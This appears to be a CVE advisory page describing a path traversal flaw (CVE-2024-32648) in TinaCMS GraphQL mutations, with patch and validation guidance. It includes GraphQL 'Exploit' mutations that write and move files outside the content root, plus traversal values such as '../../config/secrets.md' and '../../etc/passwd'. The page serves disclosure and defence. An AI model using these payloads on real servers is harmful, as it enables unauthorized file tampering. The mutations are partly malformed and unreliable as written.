TinaCMS, Path Traversal, CVE-2024-32648 (Medium)

Listen to this Post

This vulnerability, CVE-2024-32648, resides in how TinaCMS handles file paths within its GraphQL mutations. The core issue is the use of `path.join()` to combine a user-supplied `relativePath` with a pre-defined collection directory. While `path.join()` is used for path construction, it does not sanitize or block directory traversal sequences like ../. Consequently, an authenticated attacker can supply a `relativePath` containing these sequences to navigate up the directory tree and escape the intended “content/posts” or similar collection root. For example, providing `../../config/malicious.md` as the path results in a resolved absolute path that points to a location outside the collection boundary. This flawed path resolution is present in several key GraphQL mutations: createDocument, `updateDocument` (using newRelativePath), deleteDocument, and createFolder. This allows an attacker with the necessary editor permissions to perform file system operations—such as creating, moving, renaming, deleting, and even reading (via retrieval mutations) files and folders—anywhere the application’s process has write access. The impact is mitigated by several factors: any new or modified content must still conform to the collection’s specific GraphQL schema, preventing arbitrary code or file content injection. Furthermore, exploitation requires authenticated access, and all changes are typically tracked in a Git repository, making malicious actions visible and reversible. Despite these limitations, the flaw fundamentally breaks the application’s security boundary, allowing unintended file system manipulation.

dailycve form:

Platform: TinaCMS
Version: Pre-1.6.2
Vulnerability : Path Traversal
Severity: Medium
date: Apr 17 2024

Prediction: Already patched

What Undercode Say:

Analytics:

Simulate the vulnerable path joining
node -e "
const path = require('path');
const collectionPath = 'content/posts';
const maliciousPath = '../../config/secrets.md';
const fullPath = path.join(collectionPath, maliciousPath);
console.log('Resolved Path:', fullPath);
// Expected output (varies by OS): '../config/secrets.md' or 'config/secrets.md'
"

Exploit:

Create a file outside the collection
mutation {
createDocument(
collection: "posts"
relativePath: "../../public/malicious.md"
params: {
post: {
"Injected"
body: "This content is schema-validated."
}
}
) {
__typename
}
}
Move an existing file outside the collection
mutation {
updateDocument(
collection: "posts"
relativePath: "legitimate-post.md"
params: {
relativePath: "../../backups/legitimate-post.md"
post: {
"Moved Post"
}
}
) {
__typename
}
}

Protection from this CVE:

Upgrade to patched version
npm update @tinacms/cli@latest
yarn upgrade @tinacms/cli@latest
If unable to patch, implement a middleware to validate paths
node -e "
const path = require('path');
function isPathSafe(base, userPath) {
const full = path.join(base, userPath);
const relative = path.relative(base, full);
return relative && !relative.startsWith('..') && !path.isAbsolute(relative);
}
console.log(isPathSafe('content/posts', '../../etc/passwd')); // false
console.log(isPathSafe('content/posts', 'valid-post.md')); // true
"

Impact:

Authenticated editors can read, create, move, or delete files and folders outside the designated content directories. This could lead to unauthorized modification of configuration files, exposure of sensitive data, or disruption of the application by deleting critical files. The attack’s scope is limited by GraphQL schema validation, preventing arbitrary code execution, and by Git tracking, which logs all changes.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top